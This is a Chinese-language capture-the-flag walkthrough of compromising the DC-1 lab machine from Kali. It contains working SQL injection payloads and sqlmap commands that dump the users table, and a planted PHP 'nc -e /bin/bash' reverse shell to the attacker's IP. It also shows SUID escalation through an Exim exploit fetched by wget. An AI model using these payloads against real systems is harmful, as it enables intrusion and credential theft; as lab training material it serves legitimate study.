kali和dc-1 的网络模式相同
启动靶机
信息收集
先使用nmap扫描出靶机ip
nmap 192.168.233.0/24
发现靶机ip为 192.168.233.129
同时发现 他开放了22、80端口
目录扫描
这里使用 御剑后台扫描
同时为了避免漏扫,在使用dirb 扫描
dirb http://192.168.233.129/ /usr/share/wordlists/dirb/big.txt
查看robots.txt文件
发现路径,但只有/user/login/ 可以访问
发现需要账号和密码才能登陆,继续找其他信息
发现在点击左侧列表的时候,url中出现 ?nid=1/2/3,的字样,猜测这里存在注入,
进行注入测试
SQl注入
判断是否存在注入
或者这样测试
http://192.168.233.129/?nid=1 and 1=1–+
页面正常
http://192.168.233.129/?nid=1 and 1=2–+
与第一个页面返回不一样,判断存在注入
开始注入
可以手工也可以用工具
手工注入
判断字段数
猜测两个字段,报错,
http://192.168.233.129/?nid=1 order by 2
只存在一个一段
判断回显
http://192.168.233.129/?nid=-1 union select 1
获取数据库名,数据库版本,当前用户
http://192.168.233.129/?nid=-1 union select group_concat(database(),0x3a,version(),0x3a,user())–+
数据库名:d7db
数据库版本:10.1.26-MariaDB-0+deb9u1
用户:dbuser@localhost
获取d7db数据库中的表名
http://192.168.233.129/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema=‘d7db’–+
发现 users表
获取users表的字段
http://192.168.233.129/?nid=-1 union select group_concat(colunm_name) from information_schema.columns where table_name=‘users’–+
发现字段 name,pass
获取用户名和密码
http://192.168.233.129/?nid=-1 union select group_concat(uid,0x3a,name,0x3a,pass) from users–+
SQLMAP 自动注入
复制url
使用SQLMAP
是否存在注入
sqlmap -u http://192.168.233.129/?nid=1 --batch
获取数据库名
sqlmap -u http://192.168.233.129/?nid=1 -current-db --batch
数据库名:d7db
获取表名
sqlmap -u http://192.168.233.129/?nid=1 -D d7db --tables --batch
关键表 users
获取字段名
sqlmap -u http://192.168.233.129/?nid=1 -D d7db -T users --columns --batch
关键字段 name pass
获取数据
sqlmap -u http://192.168.233.129/?nid=1 -D d7db -T users --columns --batch
获得两个账号和加密的密码
破解密码
将密码复制,粘贴到文本中,用john进行解密
只解密出一个密码 turtle
尝试网页登录
分别用两个账号尝试,发现只有john可以登录
http://192.168.233.129/user/login
反弹shell
发现 可以编写代码的地方,php代码也可以编写
保存后,kali打开 nc监听
在view页面随便输入东西,点击提交
<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.233.130 4444")
?>
监听成功
交互式shell
python3 -c "import pty;pty.spawn(‘/bin/bash’)“
提权
尝试一下 suid 提权
find / -perm -u=s -type f 2>/dev/null
发现 exim4
经过搜查,这是Exim整数溢出漏洞
查看 exim4 的版本
发现版本是4.89
知道版本号后,用 searchsploit 搜索改版本的漏洞
searchsploit exim
经过对比,我们使用 46996.sh
把46996.sh,下载下来,
searchsploit -m 46996.sh
打开发现,里面写了 两种 使用方法
将文件下载到靶机上
搭建一个临时的http服务
python -m http.server 80
进入靶机的/tmp下载
wget http://192.168.233.130/46996.sh
对该文件 进行赋权
chmod 777 46996.sh
运行
./46996.sh -m setcat
提升到root 权限
拿到flag
错误补充
如果在执行脚本的时候出现报错,且两种都没什么作用的时候,用vi命令进去
:set ff?
看下文件格式,如果是doc,就改成uninx
:set ff=uninx
原因是因为,这个脚本是在windows环境下开发的,直接拿到linux下用是识别不了了